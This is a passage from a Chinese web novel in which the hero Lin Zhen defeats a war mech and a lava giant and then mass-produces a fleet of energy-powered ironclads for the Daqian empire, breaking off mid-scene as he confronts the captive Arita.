钢铁魔神短暂死机的逻辑核心被强行重启,猩红的电子眼爆发出狂怒的杀意,死死锁定那个渺小的人类。 冰冷的机械音响彻大厅,这一次竟带上了人性化的暴戾! 嗡——! 它右臂的等离子光刃再度暴涨,光芒比之前任何一次都更加炽烈夺目,周围的空气被高温灼烧得扭曲不堪! 巨臂高举挟开山裂石之威,对着那个蝼蚁般的男人悍然斩落! “王爷!” 岳飞和伊丽莎白骇得魂飞魄散,下意识就要前冲护驾。 一股无形的气墙却将他们死死钉在原地,动弹不得分毫! 他们只能眼睁睁看着那道足以将战列舰一分为二的死亡光刃,在视野中疯狂放大! 然而,面对这毁天灭地的一击,林臻眼皮都未曾抬一下。 他只是站在那里。 然后,伸出了一根手指。 一根白皙修长,甚至带着几分书卷气的食指。 他用这根手指轻飘飘地,点向那呼啸而来的蓝色光刃的锋尖。 “叮。” 风铃般的轻响。 然后,神迹降临。 那道足以融化万物的炽热光刃,在触碰到林臻指尖的瞬间,竟从内部开始瓦解! 它没有爆炸,没有消散。 而是像一匹被抽掉所有经纬线的布帛寸寸崩解,化作漫天飞舞的蓝色光尘归于虚无。 仿佛它的存在,被从法则层面强行抹除。 大厅,再度陷入死寂。 岳飞的嘴巴张得能塞进一个拳头,他毕生所学的兵法韬略在这一幕前,变成了一个苍白无力的笑话。 伊丽莎白蓝宝石般的眼眸里,恐惧褪去,只剩下彻底的麻木。 她感觉自己的灵魂被一只无形大手攥住,反复碾压连同她身为海盗女王的骄傲与野心,一同碾成了齑粉。 而这一切的始作俑者,却只是嫌弃地吹了吹自己毫发无伤的指尖。 他看着那台因攻击无效而再度宕机的钢铁魔神,摇了摇头,语气充满了不屑。 “就这点本事,也配叫‘最后的守护者’?” “丢人现眼。” 话音未落,他已懒得再浪费时间。 林臻的身影在原地淡去。 他消失了。 下一瞬,他鬼魅般出现在巨大机甲的肩膀上! 这个过程快到极致,快到连战争机器的超级动态视觉捕捉系统,都没能捕捉到一帧有效画面! 林臻的手动了。 他的双手化作两道令人目眩的白影,在那看似天衣无缝的厚重装甲上,开始了野蛮而精准的拆解! “咔!嚓!撕拉——!” 令人牙酸的金属悲鸣响彻大厅! 一块块厚重的装甲板,被他用最原始的暴力,硬生生撕扯下来! 一根根闪烁着电火花的能量管线,被他毫不留情地一把攥断! 一个个结构复杂的传动轴承,被他三拳两脚砸成一堆废铜烂铁! 整个过程行云流水,充满了毁灭性的暴力美学! 他不是外科医生。 他是一个正在肢解猎物的神! 慕容嫣痴痴地望着那个在钢铁魔神身上辗转腾挪的伟岸身影,心跳如鼓每一次跳动都充满了名为“崇拜”与“痴迷”的滚烫情绪。 “不……” 巨大机甲的机械音终于再次响起。 这一次,没有了暴怒与疯狂。 只剩下深入骨髓的恐惧与绝望! 它巨大的身躯疯狂颤抖,想要反抗却发现一切都是徒劳。 左臂失灵,右臂垂落,双腿如同生锈的铁柱僵立原地。 它成了一头被拔光了牙齿与利爪的困兽,只能眼睁睁看着那个恶魔在自己身上为所欲为。 “找到你了。” 林臻的嘴角勾起一抹冰冷的弧度。 他终于撕开了层层叠叠的机械结构,找到了那个闪烁着微弱红光的核心处理器。 他毫不犹豫地伸出手五指如钩,就要将其硬生生掏出。 然而,就在这一刻。 那台已然陷入绝境的战争机器,突然做出了一个所有人都意想不到的疯狂举动。 就在林臻的手指即将触碰到那颗核心处理器的瞬间,那台本已瘫痪的钢铁巨兽全身所有的装甲缝隙中,骤然爆发出刺目的红光! “警告!最终协议启动!” “反应堆核心过载!十、九、八……” 冰冷的机械倒计时声,化作死亡的钟鸣,敲在每个人的心头。 它要自爆! 这个钢铁怪物,竟要引爆体内的核聚变反应堆,将整座岛屿从地图上彻底抹去! “王爷!” 岳飞的吼声因极致的恐惧而变调。 伊丽莎白更是血色尽褪,身体的本能驱使她转身逃跑,可双腿却被无形的恐惧钉死在原地。 这绝非阿丽塔那种玩具般的自爆。 这是一座微型太阳的毁灭!方圆百里,万物皆为焦土! 然而,立于风暴中心的林臻身影依旧稳如磐石。 他甚至连眉头都未曾皱一下。 “七、六、五……” 倒计时仍在继续红光愈发炽盛,恐怖的能量波动让空气都开始电离,发出滋滋的哀鸣。 “雕虫小技。” 林臻淡淡吐出四个字。 在倒计时“三”响起的刹那,他动了。 他的手没有去碰那颗核心处理器,而是如一道幻影径直插入机甲后颈处一个极其隐蔽的散热口! 五指如钩,狠狠一撕! “刺啦——” 一大片合金外壳被他暴力撕开,露出内部密如蛛网、闪烁着各色光芒的能量管线。 林臻的目光没有丝毫停顿,手指在万千管线中精准地一拨、一拉。 “二、一……” 在倒计时归零的前一瞬。 他拔出了一根仅有发丝粗细,毫不起眼的银色丝线。 “嗡——” 刹那间,所有红光尽数熄灭。 所有警报声戛然而止。 那台巨大的钢铁魔神彻底安静下来,猩红的电子眼最后闪烁了一下,便归于永恒的黑暗。 林臻从机甲的肩膀上一跃而下,稳稳落地。 他拍了拍手上不存在的灰尘,转过头,对着那几个灵魂仿佛已经出窍的属下,露出一个淡然的笑容。 “看,我说过。” “一个大点的玩具罢了。” 大厅内,是能吞噬一切声音的死寂。 岳飞和伊丽莎白用一种仰望神明的眼神看着林臻,大脑已经停止了思考。 慕容嫣快步走到林臻身边,没有说话只是伸出手紧紧地抱住了他。 她将脸深深埋进他宽阔的胸膛,贪婪地呼吸着那股让她心安的味道。 “好了,最大的麻烦解决了。” 林臻轻拍着慕容嫣的后背,柔声安慰。 “接下来,是收获战果的时候了。” 他牵起慕容嫣的手,走向那座祭坛般的物质重组核心。 “伊丽莎白。” “在!王爷殿下!” 伊丽莎白一个激灵,挺直了身体。 “把你那艘‘黑珍珠号’的设计图拿来。”林臻的声音平静无波。 “啊?”伊丽莎白一愣,“殿下,您要它的设计图做什么?那艘船……龙骨已断,没救了。” “谁说要救它?” 林臻笑了笑。 “我要让它,浴火重生。” 第1285章 深入火山之心 他将手按上冰冷的操作台。 嗡——! 整座神之工坊被瞬间唤醒! 大厅中央的球形光脑蓝光大盛,亿万数据流如瀑奔涌。 林臻的口中,吐出一连串伊丽莎白和岳飞听不懂的古老音节。 指令下达。 无数机械臂从机器内部探出,抓取成堆的金属矿石,投入中央那炽热如熔炉的转换核心。 下一刻创世的神迹,在他们眼前上演。 一块块闪烁着幽光的巨大战舰部件,从机器的另一端被“打印”出来,精准地拼接组合。 “天……”伊丽莎白死死捂住嘴,不让惊呼溢出喉咙。 她指着一块正在一体成型的庞大船壳,蓝色的眼眸里满是颠覆性的骇然。 没有接缝! 一整块! 怎么可能有一整块如此巨大的船壳! 岳飞的呼吸凝滞了。 他的视线死死钉在那些被打印出的武器基座上。 密密麻麻的炮口,远比红夷大炮小巧,却透着一股令人心悸的毁灭气息。 那不是用来填装火药的! 这若齐射……会是何等光景? 龙骨、甲板、船舱、桅杆…… 所有超乎想象的部件,以肉眼可见的速度被创造、组合。 这不是建造。 这是创世! 仅仅不到三个时辰。 一艘比“黑珍珠号”更巨大、更雄伟、更狰狞的全新钢铁战舰雏形,已然静静矗立在众人面前! 舰身通体漆黑,闪烁着黑曜石般的幽光,线条流畅优雅却在每一个细节处都透着冰冷的杀意。 那无数黑洞洞的炮口,像是深渊巨兽睁开的复眼,仅仅注视着就带来令人窒息的死亡压迫感! “从今天起,”林臻看着这件由他亲手缔造的完美战争艺术品,嘴角勾起一抹弧度。 “它名‘定远’。” 他转过头,目光落在早已石化的伊丽莎白身上。 “伊丽莎白提督。” “本王,现正式任命你为大乾皇家海军,第一铁甲舰队总司令。” 林臻的声音不大,却字字千钧。 “你,愿意接受这份荣耀吗?” 铁甲舰队总司令? 这几个字砸进伊丽莎白的脑海她的心脏先是骤停,随即被抛上狂喜的云端。 总司令? 一支由这种……神明造物所组成的舰队的总司令? 巨大的狂喜如最猛烈的朗姆酒,瞬间冲垮了她的理智。 她不是那个在茶会上摇尾乞怜的倭国大名,她是纵横四海的伊丽莎白·斯旺! 她毕生所求,就是更强的船更利的炮是征服无尽的汪洋! 而现在这个男人,将一份她梦里都不敢奢求的,超越了时代与幻想的礼物,轻描淡写地摆在了她的面前。 她看着那艘宛如深渊巨兽的“定远号”,蓝宝石般的眼眸被病态的、狂热的火焰彻底填满。 她没有丝毫犹豫,单膝重重跪地! 这不再是俘虏的畏惧,而是骑士向君王献上灵魂的誓约。 “我,伊丽莎白·斯旺!” 她抬起头,美艳的脸上再无谄媚,唯有发自灵魂的忠诚与狂热。 “愿为王爷,为皇后,为这支无敌舰队,献上我的生命、荣耀,与这颗永不背叛的海盗之心!” “很好。”林臻满意地点头。 他要的,就是这样一条被彻底驯服,却又保留着足够野性的疯狗。 然而,就在“定远号”即将完工之际,神之工坊的操作却戛然而止。 中央数据库的光屏上,弹出了一行刺眼的红色警告。 “怎么了,夫君?”慕容嫣见他眉头微蹙,立刻问道。 “还差一样东西。” 林臻指着光屏上闪烁的分子结构图。 “‘定远号’的心脏,还差最后一块拼图。” “一种特殊的催化剂,用来稳定它的能量核心。” 他一边说,一边调出基地的矿物勘探地图。 地图上,一个鲜红的光点,在岛屿中央那座活火山的最深处清晰闪烁。 “根据记录,只有这里才有。” 岳飞和伊丽莎白凑过来看了一眼,脸色瞬间剧变。 火山之心! 一个随时可能喷发的死亡禁区! 去那种地方,和跳进地狱有什么区别?! “王爷,不可!”岳飞第一个站了出来,声音决绝,“此地太过凶险!末将愿带死士前往,为王爷取回矿石!” “没错!殿下!”伊丽莎白也急了,“让我的海盗去!他们不怕死!就算是把火山挖穿,也一定把东西带回来!” 他们是真的怕了。 他们可以战死,但这位神明般的领袖绝不能有任何闪失。 林臻是这支军队,乃至整个大乾未来的灵魂。 他若出事,一切都将毫无意义。 然而,林臻只是摇了摇头。 “你们去不了。” 他的声音很平静,却带着无法反驳的绝对。 “那种矿石的能量结构极其不稳定,除了我,谁碰谁死。” 他说着,转头看向从始至终都紧紧抓着他胳膊,一言不发的慕容嫣。 “嫣儿……” “我不准!” 他的话刚出口,就被慕容嫣用一种从未有过的强硬语气打断。 她死死地抓着他的胳膊,那双总是柔情似水的凤眸里,第一次燃起了属于女皇的固执与威严。 “林臻,我不管那是什么狗屁矿石!” 她的声音因激动而颤抖。 “我也不管那艘破船能不能开!” “我只知道,你是我夫君!是我肚子里孩子的爹!” “我绝不允许你,再像上次在昆仑山顶那样,去冒任何风险!” “我不要什么无敌舰队!我也不要什么君临天下!” “我只要你,平平安安地待在我身边!” 说到最后,她的声音带上了浓重的哭腔。 她真的怕了。 怕极了那种眼睁睁看着他倒下,自己却无能为力的绝望。 她再也不想经历第二次。 看着怀中哭得梨花带雨的女人,林臻心中满是疼惜与愧疚。 他知道,上次的“假死”给她留下了多大的阴影。 他伸出手,为她拭去泪水将她紧紧拥入怀中。 “傻丫头。” 他的声音温柔得能融化一切。 “你忘了,你夫君我现在是什么人了?” 他笑着,用额头轻轻抵着她的额头,深邃的眼眸里满是自信与宠溺。 “相信我。” “我只是去我家的后花园里,摘一朵最漂亮的花回来送给你。” “天亮之前,我必归来。” 慕容嫣看着他近在咫尺的眼睛,看着那里面足以淹没一切的柔情与坚定。 她知道,自己又输了。 她永远也无法拒绝这个男人。 许久。 她缓缓松开了那只死死抓着他胳膊的手。 她抬起头,泪痕未干的凤眸里,闪过属于女皇最后的决绝。 “好。” “我等你。” “但是,林臻,你给我听好了。” “如果明天天亮之前,你还不回来……” “我,就带着我们的孩子,亲自去那火山里,把你找回来!” 第1286章 别给不认识的人看门 夜色深沉如铁。 远方的活火山,是匍匐于黑暗中的一头远古巨兽,山顶的袅袅烟柱是它沉睡时悠长的呼吸。 火山口边缘,林臻与鬼影的身影于黑暗中浮现。 炙热的气浪扑面而来。 空气里浓烈的硫磺味,足以让任何凡人瞬间窒息。 “王爷,您确定……” 鬼影的声音从面罩下渗出,带着极罕见的凝重。 他不是怕死。 他怕的是王爷有任何闪失,他万死莫赎。 “放心。” 林臻的声音平静无波。 “跟紧我,三步之内。” 话音落下,一层肉眼无法捕捉的蓝色光晕自他体表荡开,化作完美的球形护盾将两人笼罩。 那灼人魂魄的热浪触及护盾,被无形之力瞬间偏导折开。 鬼影顿觉浑身一轻。 那股几乎要将他五脏六腑都烤熟的灼热感,消失得无影无踪。 他心中骇浪滔天,却死死抿住嘴唇一个字也不敢说。 他只是更紧地握住了短刃,眼神里的警惕提升到了极致。 林臻不再多言。 他取出一个奇特的罗盘状仪器,瞥了一眼上面疯狂跳动的数据,随即纵身一跃。 他跳进了那深不见底,翻涌着滚滚浓烟的火山口。 鬼影毫不迟疑,紧随其后。 火山内部,是一方死亡与毁灭的炼狱。 赤红岩浆在他们脚下奔腾,汇成咆哮的地下冥河。 四周岩壁被烧得通红,燃烧的巨石不时从头顶滚落。 空气中弥漫的剧毒气体,每一缕都足以瞬间致命。 然而,这地狱般的一切,在林臻那层薄薄的能量护盾前显得脆弱不堪。 两人不紧不慢,向着火山最深处行去。 那姿态不像闯入禁地的死士,更像是在巡视自家的花园。 下潜数千米。 眼前豁然开朗。 一座无比巨大的环形熔岩洞穴,一座地下的宫殿呈现在眼前。 洞穴中央,是翻滚的熔岩巨湖。 湖面“咕噜咕噜”地冒着巨大的气泡,每一次破裂都溅起漫天火星。 熔岩湖的正中心,静静矗立着一座尖塔状的巨大矿脉。 那矿脉由不知名的黑色晶体构成,其内部有幽蓝色的光芒正在明灭闪烁,宛若一颗正在呼吸的星辰之心。 神秘,充满了无法言喻的原始力量。 “找到了。” 林臻看着那座在岩浆红光映照下,显得格外妖异的蓝色水晶矿脉,嘴角勾起一抹弧度。 他正欲带着鬼影飞身过去开采。 异变陡生。 “轰隆隆——” 整座巨大的熔岩洞穴剧烈颤抖! 中央那原本还算平静的熔岩湖,以极其恐怖的姿态疯狂翻涌! 一个比此前深海巨兽更庞大、更狰狞的巨大阴影从滚烫的岩浆湖底缓缓上浮! 那是一个由黑色火山岩与流淌岩浆构成的巨大人形生物! 身高百米! 身躯就是一座移动的小山! 它的双眼,是两个由最纯粹的岩浆构成的燃烧漩涡! 它没有口鼻,但林臻和鬼影却能清晰感受到,它散发出的无尽愤怒与暴戾。 这座火山的守护神。 这座神之宝库的最后一道防线! 那双燃烧着熊熊烈焰的岩浆之眼,死死锁定了林臻和鬼影这两个不速之客。 一声不似任何生灵所能发出的咆哮,沉闷而愤怒响彻整个地心世界! 它猛地抬起那只由最坚硬黑曜石构成的巨臂。 携着夷平山脉的恐怖力量,向着林臻和鬼影悍然砸落! …… 营地,最高处的哨塔上。 慕容嫣独自伫立。 她美丽的凤眸一眨不眨,死死盯着远处那座在夜色中蛰伏的巨大火山。 她已在这里站了一个时辰。 她的心,也跟着揪了一个时辰。 她知道自己的夫君无所不能。 可她的心,依旧无法控制地为他担忧为他恐惧。 她身上依旧是那件作为唯一寝衣的神凤降世裙。 冰冷的夜风呼啸而来,将她极致玄黑的华贵长裙吹得猎猎作响。 裙摆上那只金线绣成的擎天巨凤,在远处火山口透出的暗红光芒映照下,凤羽流转着不祥的血色。 那凤目中,是与主人如出一辙的深深焦虑。 长达五丈的墨金色拖尾在夜风中狂舞,像一条被囚禁的焦躁黑龙发出无声的咆哮。 她不知道自己还能站多久。 她只知道,天亮前那个男人若不回来。 她真的会如她所说。 带着他们的孩子,亲自去那地狱里找他。 哪怕粉身碎骨。 …… 地心熔岩洞穴内。 面对那开天辟地般的毁灭一击。 林臻脸上没有半分波澜。 他只是将鬼影轻轻向后一拉。 然后,不紧不慢地从怀里取出一样东西。 一把造型奇特的银白色手枪,充满了未来科技的质感。 正是他从虚无党基地“借”来,又亲手改造过的高频能量切割枪。 一把手持式的采矿工具。 他抬起这支在他看来更像“电钻”的工具,对准呼啸而来的巨大岩臂。 轻轻扣动扳机。 “嗤——” 一声微不可闻的轻响。 一道发丝粗细的蓝色能量射线,自枪口一闪而过。 下一秒。 那只由最坚硬黑曜石构成的巨臂,在距离林臻不到十米处,无声无息地从中断开。 切口光滑如镜。 仿佛它天生就是两截。 “吼——” 巨大的岩浆巨人发出一声充满痛苦与不解的怒咆! 它想不明白。 它真的想不明白。 为什么? 为什么自己坚不可摧的拳头,在这个蝼蚁般的生物面前,会变得如此不堪一击? 林臻懒得给它思考的时间。 “鬼影。” 他的声音冰冷,不容置疑。 “去,陪它玩玩。” “是!” 鬼影领命,身影在原地留下一道残影。 下一瞬,他已无声无息地出现在岩浆巨人的身后! 手中短刃化作两道令人目眩的黑色闪电,在岩浆巨人那看似坚不可摧的巨大身躯上飞速游走! 每一次闪烁,都带起一长串刺目的火花! 岩浆巨人被这苍蝇般的骚扰彻底激怒! 它疯狂挥舞仅剩的另一只手臂,想要将这个在它身上上蹿下跳的可恶虫子拍成粉末! 但鬼影的速度太快了。 他是一位最顶尖的斗牛士,总能在最关键的刻度,以最刁钻的角度躲开那致命一击。 就在岩浆巨人的所有注意力,都被鬼影彻底吸引时。 那个在它眼中最不起眼的小虫子,又一次动了。 林臻的身影,凭空出现在岩浆巨人的双腿之间。 他手中的采矿枪,再度亮起幽蓝色的死亡光芒。 “再见了,大家伙。” 他的嘴角,勾起一抹冰冷的弧度。 “下辈子,别给不认识的人看门。” 第1287章 神之工坊的重启 “嗤!” 又一道细微的切割声。 湛蓝光束在那熔岩巨人另一条腿的关节处一闪而过,精准得像是外科手术。 没有巨响,没有爆炸。 那顶天立地的山岳巨人,身躯猛然僵直。 在它自己那燃烧着岩浆的瞳孔里,倒映出难以置信的一幕。 支撑着它庞大身躯的岩石巨腿,就那么悄无声息地,从中断开,切口平滑如镜。 “轰隆——!” 这一次,是真正的天崩地裂。 失去双腿的巨人再也无法维持平衡,山峦般的躯体重重砸进翻滚的熔岩湖,掀起百米高的滔天火浪! 它疯狂挣扎,发出不甘的怒咆,试图从孕育它的岩浆母体中重新站起。 可一切只是徒劳。 被斩断的双腿,让它彻底沦为一个在岩浆里扑腾的可怜残废。 它只能眼睁睁地看着那两个在它眼中渺小如蚁的生物,从它倒下的身躯上一跃而过,落在了它守护千年的水晶矿脉之上。 那双岩浆之眼里,只剩下无尽的愤怒与绝望。 林臻随手将那把被他当作采矿工具的切割枪收起,仿佛只是做了一件微不足道的小事。 他转头看向身侧,鬼影已经震惊到连呼吸都忘记了。 “走吧,干正事了。” 林臻带着鬼影落在矿脉之上,将切割枪功率调至最大,对准矿脉核心。 幽蓝光束暴涨,坚硬无比的黑色晶体在光束下脆弱如冰雪消融。 很快,一块人头大小,通体剔透,内部仿佛封印着亿万星辰生灭流转的蓝色水晶,被他完整地剥离出来。 “定远号”的心脏。 大乾帝国,征服星辰大海的起点。 到手了。 “走,我们回去。” 林臻将水晶收入怀中,话音刚落,两人身影已化作流光,冲天而起。 …… 当两人的身影重新出现在火山口时,东方的天际,正泛起一抹鱼肚白。 第一缕晨曦刺破了长夜的黑暗,如同金色的利剑。 哨塔之上,那道守望了一夜的绝美身影,身体控制不住地剧烈一颤。 她看见了。 她看见那个让她牵挂了整整一夜的男人,迎着晨光,毫发无伤地回来了。 眼泪,再也无法抑制,决堤而下。 林臻的身影刚出现在营地,整座营地瞬间沸腾! 将士们自发地放下一切,从四面八方涌来,目光炽热地汇聚在他们的王爷身上。 他们不知王爷去做什么了。 但他们知道,王爷回来了,天就亮了。 慕容嫣提着华贵的裙摆,从高高的哨塔上飞奔而下,跑得太急,脚下一个踉跄,险些摔倒。 岳飞和伊丽莎白眼疾手快,一左一右扶住她。 “陛下,您慢点!” 慕容嫣却像是没有听见挣开两人的搀扶,不顾一切地扑进那个刚刚从地狱归来的男人怀里。 “你回来了……你终于回来了……” 她的声音带着浓重的哭腔,小拳头毫无章法地捶打着他坚实的胸膛,宣泄着一夜的恐惧与思念。 “我回来了,嫣儿。” 林臻紧紧抱着她,感受着怀中娇躯的颤抖,心中满是愧疚与疼惜。 “对不起,让你担心了。” “混蛋!你这个大混-蛋!” 慕容嫣猛地抬起那张泪痕斑驳的俏脸,那双熬得通红的凤眸狠狠瞪着他。 “你知不知道我有多担心!我……” 她的话没能说完。 因为她的唇,已经被他用一种不容置疑的霸道,给彻底封住。 这不是温柔的浅尝,而是劫后余生失而复得的狂热与占有,将她所有的恐惧、担忧、委屈,尽数吞没。 周围的将士们见状立刻默契地转过身去,发出一阵善意的哄笑。 岳飞一张老脸涨得通红尴尬地连连咳嗽,伸手就去捂还想探头看热闹的伊丽莎白的眼睛。 “咳咳,非礼勿视!” “切,你们东方人就是虚伪。”伊丽莎白嘴上嫌弃地撇了撇,那双蔚蓝的眼眸深处,却闪过一丝她自己都未曾察觉的羡慕。 许久,唇分。 慕容嫣的俏脸红得能滴出血,羞赧地将头深深埋进林臻怀里,再不敢看周围那些促狭的目光。 林臻轻抚着她柔顺的长发,感受着这片刻的安宁,心中无比踏实。 为了怀里这个女人,为了他们即将出世的孩子,一切都值得。 短暂的温存过后,林臻牵着慕容嫣的手,径直走向地底的“神之工坊”。 这一次,他没有走向那台物质重组核心。 而是将伊丽莎白提供的,包含了西方所有顶级战舰的设计图纸,直接输入了中央数据库的光脑。 “开始优化。” 林臻下达指令。 光脑之上,亿万数据流疯狂奔涌。 “结构冗余,优化。” “动力系统落后,替换。” “武器系统……垃圾,全部替换。” 林臻的手指在虚拟光屏上化作一片残影,他不是在修改,而是在创造。 他以那些图纸为基础,将风帆动力改为能量核心驱动,滑膛炮替换为电磁轨道炮塔,甚至为每一艘战舰都设计了能量偏导护盾! 岳飞和伊丽莎白站在一旁,已经彻底麻木了。 他们看着光屏上,一艘艘造型狰狞、充满了毁灭美学的全新战舰设计图被飞速生成,感觉自己引以为傲的知识体系,在这个男人面前幼稚得如同沙滩上的城堡。 “我的天……”伊丽莎白喃喃自语,“他不是在设计战舰,他是在定义‘海战’这个词的未来。” 岳飞没有说话,只是握紧了拳头,虎目之中燃起了名为“征服”的烈焰。 慕容嫣静静看着丈夫专注的侧脸,轻轻抚摸着自己高高隆起的小腹。 她不懂那些复杂的设计,但她能感受到那光屏上散发出的,足以碾压一个时代的力量。 她突然开口,轻声问道:“夫君,我们这支新的舰队,有名字了吗?” 林臻的操作停下,转过头,温柔一笑。 “还没。”林臻头也不回地说道,他的手指依旧在光屏上飞速地跃动着,“等它诞生了,你来取。” “我来取?”慕容嫣闻言,微微一愣。 “当然。”林臻转过头,对着她露出了一个温柔的笑容,“你是我大乾的女皇,这支舰队本就是为你而生。”“它的名字自然也该由你来定。” 听到他这番充满了宠溺和爱意的话,慕容嫣的心里,甜得像是灌了蜜。 她想了想,那双美丽的凤眸之中,闪烁着前所未有的璀璨光芒。 “那就叫……‘镇远’吧。” “镇远?” “嗯。”慕容嫣点了点头,那张绝美的俏脸上,充满了君临天下的无上霸气,“我要它,为我大乾,镇守四方,威加远海!” 他牵着慕容嫣,走到了那艘早已完工,却一片死寂的庞大钢铁巨舰——“定远号”的下方。 “那么,就让‘镇远’舰队的旗舰‘定远号’,作为你送给这个世界的第一份礼物吧!” 林臻手持那块星辰般璀璨的蓝色水晶,飞身而上,来到舰体中央一处预留的凹槽前。 他将水晶,缓缓按入。 嗡——! 第1288章 镇远舰队的诞生 仿佛沉睡了万古的洪荒巨兽,在此刻苏醒! 那块蓝色水晶,就是它的心脏! 一道肉眼可见的蓝色能量波纹从水晶处瞬间扩散,沿着舰体内无数密密麻麻的能量线路,流遍舰身的每一个角落! 一盏! 十盏! 百盏! 千盏! 整艘漆黑的战舰由内而外,亮起了无数幽蓝色的光芒! 那密密麻麻的炮口,不再是死寂的黑洞,而是亮起了摄人心魄的幽光,仿佛深渊巨兽睁开了千万只复眼! 低沉而雄浑的能量轰鸣声,响彻整个地底工坊! 岳飞和伊丽莎白呆呆地看着眼前这艘活过来的钢铁魔神,感觉自己的灵魂都在这股威压下颤抖。 然而,这仅仅是开始。 林臻抱着慕容嫣,落在中央控制台上,他的声音响彻整个空间,带着神明般的威严。 “以‘定远号’为模板,‘镇远’舰队,开始量产!” 轰——!!! 一声巨响! 这一次,不再是一台机器在运作。 整座神之工坊,十条巨大的生产线同时被激活! 无数机械臂如林耸立,堆积如山的金属矿石被疯狂吞入。 在岳飞和伊丽莎白骇然欲绝的目光中,龙骨、甲板、炮塔……十艘一模一样的“定远级”战舰,正在以肉眼可见的恐怖速度,同时被“打印”出来! 这不是在建造。 这是在……创世! 一个舰队的创世! “这……这就是……‘定远号’?” 伊丽莎白的声音无比干涩。 她伸出手,指尖颤抖着,想要触碰那冰冷而又充满力量感的黑色舰身。 可在即将触碰的瞬间,她却像是被无形的火焰灼烧,猛地缩了回来。 她在畏惧。 她在害怕自己这凡人之躯,会亵渎这件不属于人间的神之造物。 纵横四海数十年,她见识过最坚固的盖伦船,指挥过最强大的风帆战列舰,一度以为自己的“黑珍珠号”已是时代之巅。 可现在,她站在这艘名为“定远号”的钢铁巨兽面前,才明白自己何其无知。 她的黑珍珠号,在这艘巨舰面前连舢板都算不上。 那是一头绵羊,而眼前这尊,是足以吞噬一切的远古利维坦! 岳飞同样心神剧震,这位沙场宿将的呼吸都为之停滞。 他不是水师将领,却能从这艘战舰上,嗅到足以碾碎一个王朝的恐怖铁血气息。 他走到一门刚刚安装好的旋转炮塔前,伸出手掌心贴上冰冷的炮身。 炮塔表面浑然一体,竟无半丝接缝。 炮管的口径,比神机营的红衣大炮要小。 但那幽黑的炮口深处,却似有雷霆与毁灭在酝?。 “王爷。” 他转过头看着林臻,那张古铜色的刚毅脸庞上写满了颠覆认知的困惑。 “此炮……无需填装火药?” “当然不用。” 林臻笑了笑,走到炮塔旁,在复杂的操控面板上轻轻一按。 嗡——! 炮塔无声旋转一百八十度,黑洞洞的炮口精准地锁定了远处格纳库的墙壁。 “它用的是这个。” 林臻指向炮塔后方,一个正在发出微弱蓝光的能量模块。 “能量弹?”伊丽莎白试探着问,她从虚无党的俘虏口中听到过这个词。 “没错。” 林臻点头。 “一发的威力,超过一百公斤黑火药的总和,射速更快,弹道更稳,射程更远。” 他顿了顿,嘴角勾起一抹让人生畏的弧度。 “最重要的是,它的弹药是无限的。” “无限?!” 伊丽莎白和岳飞,被这两个字彻底击碎了认知。 “只要能量核心还在运转,它就能为所有炮塔提供永不枯竭的能量。” 林臻的声音平淡,却字字诛心。 “也就是说,只要我们愿意,我们可以一直开火,直到把整片大海都煮沸。” 伊丽莎白和岳飞,彻底沉默。 两人呆立原地,神思皆被夺走,形同木偶。 无限弹药的能量炮。 抵御炮火的能量护盾。 能量驱动的钢铁巨舰。 这不是战争。 这是神明对凡人,毫无悬念的降维打击! 慕容嫣看着两人失魂落魄的模样,嘴角不由勾起一抹与有荣焉的得意。 她走到林臻身边,自然而然地挽住他的胳膊,凤眸之中,是毫不掩饰的崇拜与爱意。 她今日依旧穿着那身神凤降世裙。 在这座钢铁与机械的冰冷船坞里,她极致玄黑的华贵衣裙,与雍容华贵的女帝气场,竟与周围的环境完美相融。 她天生就该是这里的主人,是这艘钢铁巨兽唯一的女皇。 长达五丈的墨金色拖尾,铺陈在“定远号”光滑如镜的黑色甲板上,宛若流淌的暗夜星河,为这台死亡机器,注入了属于皇家的无上威严。 “夫君,这艘船真美。”她由衷赞叹。 “你喜欢就好。”林臻笑着捏了捏她的手,“等回到大乾,我给你造一座更大、更漂亮的天上的宫殿。” “天上的宫殿?”慕容嫣美眸一亮。 “嗯。”林臻点头,深邃的眼瞳里,倒映着未来的无尽星辰,“一座可以带着我们,去往任何地方的天空之城。” 慕容嫣的心,甜得快要融化。 她轻轻将头靠在他的肩膀上,感觉自己就是世上最幸福的女人。 就在这时,“神之工坊”的轰鸣声,再次响彻地底! 这一次,是十台物质重组核心同时运转! 一艘艘与“定远号”同级,却功能各异的全新战舰,正以一种流水线般的恐怖速度,被建造出来! 驱逐舰、巡洋舰、补给舰、医疗舰…… 那场面,颠覆了他们对“建造”二字的理解。 而被捆在一旁,被迫全程围观这场创世神迹的阿丽塔·罗斯柴尔德与她的同伴们,早已彻底崩溃。 在他们眼中,这些战争机器,比他们“第二象限”最顶尖的星际战舰还要科幻还要强大。 而那个东方男人,却像生产香肠一样,将它们一艘艘制造出来。 他们作为“高等文明”成员的高傲,被碾成了最卑微的尘埃。 他们终于明白,自己招惹的根本不是什么土著。 那是一个,他们连仰望资格都没有的,真正的……创世之神! 当最后一艘战舰制造完成,整座巨大的地下船坞,已被三十六艘通体漆黑的钢铁巨兽彻底塞满。 它们静静停泊,像蛰伏于深渊的远古兽群。 密密麻麻的炮口,狰狞冷酷的舰身,散发着足以让任何敌人灵魂冻结的死亡气息。 这就是大乾帝国的第一支铁甲舰队。 也是这个世界的第一支。 ——镇远舰队! 它的诞生,注定要将这个世界的历史,拖入一个血与火的全新纪元! 第1289章 审判与新的奴仆 当那支足以冻结历史长河的钢铁舰队,如沉默的墓碑群陈列在眼前时,林臻并未下令启航。 他转过身。 目光落向那个从始至终都跪在地上的金发女人。 “阿丽塔·罗斯柴尔德小姐。” 林臻的声音很轻,却像一根探针,精准刺入她颤抖的神经中枢。 阿丽塔的身体猛地一僵。 她抬起头,那张曾写满高等文明骄傲的脸庞,此刻血色尽失只剩下一片死寂的惨白。 她看着那个男人向自己走来。 那脚步声,仿佛踩踏在她碎裂的心脏上。 她引以为傲的一切,都在这个男人面前化为齑粉。 精锐的小队。 跨越时代的武器。 家族最后的自爆底牌。 以及……刚刚在她眼前,如同神迹般被“打印”出来的,那支连她所属的“第二象限”文明都无法抗衡的无敌舰队。 她的认知、骄傲、世界观,被这个男人用一种最野蛮、最不讲道理的方式彻底砸碎。 “现在。” 林臻在她面前站定,低头俯视。 他的影子里,是她蜷缩如虫豸的身影。 “你还觉得,你有资格跟我谈条件吗?” 条件? 这两个字像一记耳光,抽得阿丽塔灵魂都在晃动。 她的嘴唇剧烈哆嗦,却一个音节都发不出来。 她现在,一无所有。 只剩下一条随时会被碾死的,卑微的命。 “我……我……” 